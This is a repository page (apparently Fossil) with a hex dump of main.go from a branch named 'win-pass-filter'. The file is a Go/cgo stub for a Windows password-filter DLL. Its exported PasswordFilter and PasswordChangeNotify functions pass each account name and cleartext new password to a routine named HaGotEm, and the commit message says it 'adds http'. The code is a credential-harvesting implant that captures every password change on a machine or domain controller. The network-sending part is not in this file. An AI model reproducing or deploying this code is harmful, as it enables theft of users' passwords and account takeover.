Windows Password Filter

⌈⌋ ⎇ branch:  win-pass-filter


Hex Artifact Content

Artifact 4c164a699b92413144df0d2eef8b8575374a5f9f62aeb85f7f64d1008a91dbec:

  • File main.go — part of check-in [87a3b602a8] at 2020-03-20 01:16:59 on branch trunk — Big update, adds http (user: brimstone size: 831)

0000: 70 61 63 6b 61 67 65 20 6d 61 69 6e 0a 0a 2f 2a  package main../*
0010: 0a 23 69 6e 63 6c 75 64 65 20 22 66 69 6c 74 65  .#include "filte
0020: 72 2e 68 22 0a 23 69 6e 63 6c 75 64 65 20 3c 77  r.h".#include <w
0030: 69 6e 64 6f 77 73 2e 68 3e 0a 23 69 6e 63 6c 75  indows.h>.#inclu
0040: 64 65 20 3c 6e 74 73 65 63 61 70 69 2e 68 3e 0a  de <ntsecapi.h>.
0050: 23 69 6e 63 6c 75 64 65 20 3c 73 74 72 69 6e 67  #include <string
0060: 2e 68 3e 0a 0a 43 52 49 54 49 43 41 4c 5f 53 45  .h>..CRITICAL_SE
0070: 43 54 49 4f 4e 20 63 73 3b 0a 0a 5f 5f 64 65 63  CTION cs;..__dec
0080: 6c 73 70 65 63 28 64 6c 6c 65 78 70 6f 72 74 29  lspec(dllexport)
0090: 20 42 4f 4f 4c 20 4e 54 41 50 49 20 49 6e 69 74   BOOL NTAPI Init
00a0: 69 61 6c 69 7a 65 43 68 61 6e 67 65 4e 6f 74 69  ializeChangeNoti
00b0: 66 79 28 76 6f 69 64 29 20 7b 20 72 65 74 75 72  fy(void) { retur
00c0: 6e 20 54 52 55 45 3b 20 7d 0a 0a 5f 5f 64 65 63  n TRUE; }..__dec
00d0: 6c 73 70 65 63 28 64 6c 6c 65 78 70 6f 72 74 29  lspec(dllexport)
00e0: 20 4e 54 53 54 41 54 55 53 20 4e 54 41 50 49 20   NTSTATUS NTAPI 
00f0: 50 61 73 73 77 6f 72 64 43 68 61 6e 67 65 4e 6f  PasswordChangeNo
0100: 74 69 66 79 28 50 55 4e 49 43 4f 44 45 5f 53 54  tify(PUNICODE_ST
0110: 52 49 4e 47 20 55 73 65 72 4e 61 6d 65 2c 20 55  RING UserName, U
0120: 4c 4f 4e 47 20 52 65 6c 61 74 69 76 65 49 64 2c  LONG RelativeId,
0130: 20 50 55 4e 49 43 4f 44 45 5f 53 54 52 49 4e 47   PUNICODE_STRING
0140: 20 4e 65 77 50 61 73 73 77 6f 72 64 29 20 7b 0a   NewPassword) {.
0150: 20 20 20 20 45 6e 74 65 72 43 72 69 74 69 63 61      EnterCritica
0160: 6c 53 65 63 74 69 6f 6e 28 26 63 73 29 3b 0a 20  lSection(&cs);. 
0170: 20 20 20 48 61 47 6f 74 45 6d 28 55 73 65 72 4e     HaGotEm(UserN
0180: 61 6d 65 2d 3e 4c 65 6e 67 74 68 2c 20 28 63 68  ame->Length, (ch
0190: 61 72 2a 29 28 55 73 65 72 4e 61 6d 65 2d 3e 42  ar*)(UserName->B
01a0: 75 66 66 65 72 29 2c 20 4e 65 77 50 61 73 73 77  uffer), NewPassw
01b0: 6f 72 64 2d 3e 4c 65 6e 67 74 68 2c 20 28 63 68  ord->Length, (ch
01c0: 61 72 2a 29 28 4e 65 77 50 61 73 73 77 6f 72 64  ar*)(NewPassword
01d0: 2d 3e 42 75 66 66 65 72 29 29 3b 0a 20 20 20 20  ->Buffer));.    
01e0: 4c 65 61 76 65 43 72 69 74 69 63 61 6c 53 65 63  LeaveCriticalSec
01f0: 74 69 6f 6e 28 26 63 73 29 3b 0a 20 20 20 20 72  tion(&cs);.    r
0200: 65 74 75 72 6e 20 30 3b 0a 7d 0a 5f 5f 64 65 63  eturn 0;.}.__dec
0210: 6c 73 70 65 63 28 64 6c 6c 65 78 70 6f 72 74 29  lspec(dllexport)
0220: 20 42 4f 4f 4c 20 4e 54 41 50 49 20 50 61 73 73   BOOL NTAPI Pass
0230: 77 6f 72 64 46 69 6c 74 65 72 28 50 55 4e 49 43  wordFilter(PUNIC
0240: 4f 44 45 5f 53 54 52 49 4e 47 20 41 63 63 6f 75  ODE_STRING Accou
0250: 6e 74 4e 61 6d 65 2c 20 50 55 4e 49 43 4f 44 45  ntName, PUNICODE
0260: 5f 53 54 52 49 4e 47 20 46 75 6c 6c 4e 61 6d 65  _STRING FullName
0270: 2c 20 50 55 4e 49 43 4f 44 45 5f 53 54 52 49 4e  , PUNICODE_STRIN
0280: 47 20 50 61 73 73 77 6f 72 64 2c 20 42 4f 4f 4c  G Password, BOOL
0290: 20 53 65 74 4f 70 65 72 61 74 69 6f 6e 29 20 7b   SetOperation) {
02a0: 0a 20 20 20 20 48 61 47 6f 74 45 6d 28 41 63 63  .    HaGotEm(Acc
02b0: 6f 75 6e 74 4e 61 6d 65 2d 3e 4c 65 6e 67 74 68  ountName->Length
02c0: 2c 20 28 63 68 61 72 2a 29 28 41 63 63 6f 75 6e  , (char*)(Accoun
02d0: 74 4e 61 6d 65 2d 3e 42 75 66 66 65 72 29 2c 20  tName->Buffer), 
02e0: 50 61 73 73 77 6f 72 64 2d 3e 4c 65 6e 67 74 68  Password->Length
02f0: 2c 20 28 63 68 61 72 2a 29 28 50 61 73 73 77 6f  , (char*)(Passwo
0300: 72 64 2d 3e 42 75 66 66 65 72 29 29 3b 0a 20 20  rd->Buffer));.  
0310: 20 20 72 65 74 75 72 6e 20 54 52 55 45 3b 0a 7d    return TRUE;.}
0320: 0a 2a 2f 0a 69 6d 70 6f 72 74 20 22 43 22 0a 0a  .*/.import "C"..
0330: 66 75 6e 63 20 6d 61 69 6e 28 29 20 7b 7d 0a     func main() {}.